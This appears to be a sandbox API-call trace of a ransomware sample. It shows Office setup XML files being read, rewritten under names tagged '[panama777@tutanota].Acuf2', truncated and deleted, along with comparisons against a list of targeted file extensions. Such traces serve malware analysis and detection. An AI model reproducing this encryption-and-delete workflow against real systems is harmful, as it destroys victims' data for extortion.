	[0044.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0
	[0044.132] GetLastError () returned 0x0
	[0044.132] ReadFile (in: hFile=0x170, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x545, lpOverlapped=0x0) returned 1
	[0044.135] WriteFile (in: hFile=0x1c0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x550, lpOverlapped=0x0) returned 1
	[0044.136] ReadFile (in: hFile=0x170, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0044.137] WriteFile (in: hFile=0x1c0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xee, lpOverlapped=0x0) returned 1
	[0044.137] SetEndOfFile (hFile=0x1c0) returned 1
	[0044.137] CloseHandle (hObject=0x1c0) returned 1
	[0044.138] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.138] SetEndOfFile (hFile=0x170) returned 1
	[0044.138] CloseHandle (hObject=0x170) returned 1
	[0044.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0044.139] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1
	[0044.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0044.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0044.139] lstrlenW (lpString=".doc") returned 4
	[0044.139] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.139] lstrlenW (lpString=".docx") returned 5
	[0044.139] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0044.139] lstrlenW (lpString=".pdf") returned 4
	[0044.139] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.139] lstrlenW (lpString=".xls") returned 4
	[0044.139] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.139] lstrlenW (lpString=".xlsx") returned 5
	[0044.139] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0044.139] lstrlenW (lpString=".ppt") returned 4
	[0044.139] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0044.139] lstrlenW (lpString=".zip") returned 4
	[0044.139] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.139] lstrlenW (lpString=".rar") returned 4
	[0044.140] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.140] lstrlenW (lpString=".bz2") returned 4
	[0044.140] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.140] lstrlenW (lpString=".7z") returned 3
	[0044.140] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0044.140] lstrlenW (lpString=".dbf") returned 4
	[0044.140] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0044.140] lstrlenW (lpString=".1cd") returned 4
	[0044.140] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0044.140] lstrlenW (lpString=".jpg") returned 4
	[0044.140] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0044.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0044.140] lstrlenW (lpString=".doc") returned 4
	[0044.140] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.140] lstrlenW (lpString=".docx") returned 5
	[0044.140] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0044.140] lstrlenW (lpString=".pdf") returned 4
	[0044.140] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.140] lstrlenW (lpString=".xls") returned 4
	[0044.140] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.140] lstrlenW (lpString=".xlsx") returned 5
	[0044.140] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0044.140] lstrlenW (lpString=".ppt") returned 4
	[0044.140] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0044.140] lstrlenW (lpString=".zip") returned 4
	[0044.140] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.141] lstrlenW (lpString=".rar") returned 4
	[0044.141] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.141] lstrlenW (lpString=".bz2") returned 4
	[0044.141] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.141] lstrlenW (lpString=".7z") returned 3
	[0044.141] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0044.141] lstrlenW (lpString=".dbf") returned 4
	[0044.141] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0044.141] lstrlenW (lpString=".1cd") returned 4
	[0044.141] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0044.141] lstrlenW (lpString=".jpg") returned 4
	[0044.141] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.141] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0044.141] lstrlenW (lpString="AccessMUISet.XML") returned 16
	[0044.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0044.214] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=819) returned 1
	[0044.214] CloseHandle (hObject=0x158) returned 1
	[0044.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20
	[0044.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0044.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0044.214] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.214] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0044.214] GetLastError () returned 0x0
	[0044.214] ReadFile (in: hFile=0x158, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x333, lpOverlapped=0x0) returned 1
	[0044.222] WriteFile (in: hFile=0x1e8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x340, lpOverlapped=0x0) returned 1
	[0044.223] ReadFile (in: hFile=0x158, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0044.223] WriteFile (in: hFile=0x1e8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0044.223] SetEndOfFile (hFile=0x1e8) returned 1
	[0044.223] CloseHandle (hObject=0x1e8) returned 1
	[0044.224] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.224] SetEndOfFile (hFile=0x158) returned 1
	[0044.225] CloseHandle (hObject=0x158) returned 1
	[0044.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0044.225] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1
	[0044.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0044.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0044.225] lstrlenW (lpString=".doc") returned 4
	[0044.225] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.225] lstrlenW (lpString=".docx") returned 5
	[0044.225] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1
	[0044.225] lstrlenW (lpString=".pdf") returned 4
	[0044.225] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.225] lstrlenW (lpString=".xls") returned 4
	[0044.225] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.225] lstrlenW (lpString=".xlsx") returned 5
	[0044.225] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1
	[0044.225] lstrlenW (lpString=".ppt") returned 4
	[0044.226] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0044.226] lstrlenW (lpString=".zip") returned 4
	[0044.226] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.226] lstrlenW (lpString=".rar") returned 4
	[0044.226] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.226] lstrlenW (lpString=".bz2") returned 4
	[0044.226] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.226] lstrlenW (lpString=".7z") returned 3
	[0044.226] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0044.226] lstrlenW (lpString=".dbf") returned 4
	[0044.226] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0044.226] lstrlenW (lpString=".1cd") returned 4
	[0044.226] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0044.226] lstrlenW (lpString=".jpg") returned 4
	[0044.226] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0044.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0044.226] lstrlenW (lpString=".doc") returned 4
	[0044.226] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.226] lstrlenW (lpString=".docx") returned 5
	[0044.226] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1
	[0044.226] lstrlenW (lpString=".pdf") returned 4
	[0044.226] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.226] lstrlenW (lpString=".xls") returned 4
	[0044.226] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.226] lstrlenW (lpString=".xlsx") returned 5
	[0044.226] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1
	[0044.227] lstrlenW (lpString=".ppt") returned 4
	[0044.227] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0044.227] lstrlenW (lpString=".zip") returned 4
	[0044.227] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.227] lstrlenW (lpString=".rar") returned 4
	[0044.227] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.227] lstrlenW (lpString=".bz2") returned 4
	[0044.227] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.227] lstrlenW (lpString=".7z") returned 3
	[0044.227] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0044.227] lstrlenW (lpString=".dbf") returned 4
	[0044.227] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0044.227] lstrlenW (lpString=".1cd") returned 4
	[0044.227] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0044.227] lstrlenW (lpString=".jpg") returned 4
	[0044.227] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.227] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0044.227] lstrlenW (lpString="SETUP.XML") returned 9
	[0044.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0044.634] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=2624) returned 1
	[0044.634] CloseHandle (hObject=0x1f4) returned 1
	[0044.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20
	[0044.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0044.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0044.634] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.634] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0044.634] GetLastError () returned 0x0
	[0044.634] ReadFile (in: hFile=0x1f4, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0xa40, lpOverlapped=0x0) returned 1
	[0044.636] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xa50, lpOverlapped=0x0) returned 1
	[0044.637] ReadFile (in: hFile=0x1f4, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0044.637] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0044.637] SetEndOfFile (hFile=0x1f8) returned 1
	[0044.637] CloseHandle (hObject=0x1f8) returned 1
	[0044.638] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.638] SetEndOfFile (hFile=0x1f4) returned 1
	[0044.639] CloseHandle (hObject=0x1f4) returned 1
	[0044.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0044.639] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1
	[0044.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0044.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0044.639] lstrlenW (lpString=".doc") returned 4
	[0044.639] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.639] lstrlenW (lpString=".docx") returned 5
	[0044.639] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0044.639] lstrlenW (lpString=".pdf") returned 4
	[0044.640] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.640] lstrlenW (lpString=".xls") returned 4
	[0044.640] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.640] lstrlenW (lpString=".xlsx") returned 5
	[0044.640] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0044.640] lstrlenW (lpString=".ppt") returned 4
	[0044.640] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0044.640] lstrlenW (lpString=".zip") returned 4
	[0044.640] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.640] lstrlenW (lpString=".rar") returned 4
	[0044.640] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.640] lstrlenW (lpString=".bz2") returned 4
	[0044.640] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.640] lstrlenW (lpString=".7z") returned 3
	[0044.640] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0044.640] lstrlenW (lpString=".dbf") returned 4
	[0044.640] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0044.640] lstrlenW (lpString=".1cd") returned 4
	[0044.640] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0044.640] lstrlenW (lpString=".jpg") returned 4
	[0044.640] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0044.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0044.640] lstrlenW (lpString=".doc") returned 4
	[0044.640] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.640] lstrlenW (lpString=".docx") returned 5
	[0044.641] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0044.641] lstrlenW (lpString=".pdf") returned 4
	[0044.641] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.641] lstrlenW (lpString=".xls") returned 4
	[0044.641] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.641] lstrlenW (lpString=".xlsx") returned 5
	[0044.641] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0044.641] lstrlenW (lpString=".ppt") returned 4
	[0044.641] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0044.641] lstrlenW (lpString=".zip") returned 4
	[0044.641] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.641] lstrlenW (lpString=".rar") returned 4
	[0044.641] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.641] lstrlenW (lpString=".bz2") returned 4
	[0044.641] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.641] lstrlenW (lpString=".7z") returned 3
	[0044.641] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0044.641] lstrlenW (lpString=".dbf") returned 4
	[0044.641] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0044.641] lstrlenW (lpString=".1cd") returned 4
	[0044.641] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0044.641] lstrlenW (lpString=".jpg") returned 4
	[0044.641] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.642] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0044.642] lstrlenW (lpString="BRANDING.XML") returned 12
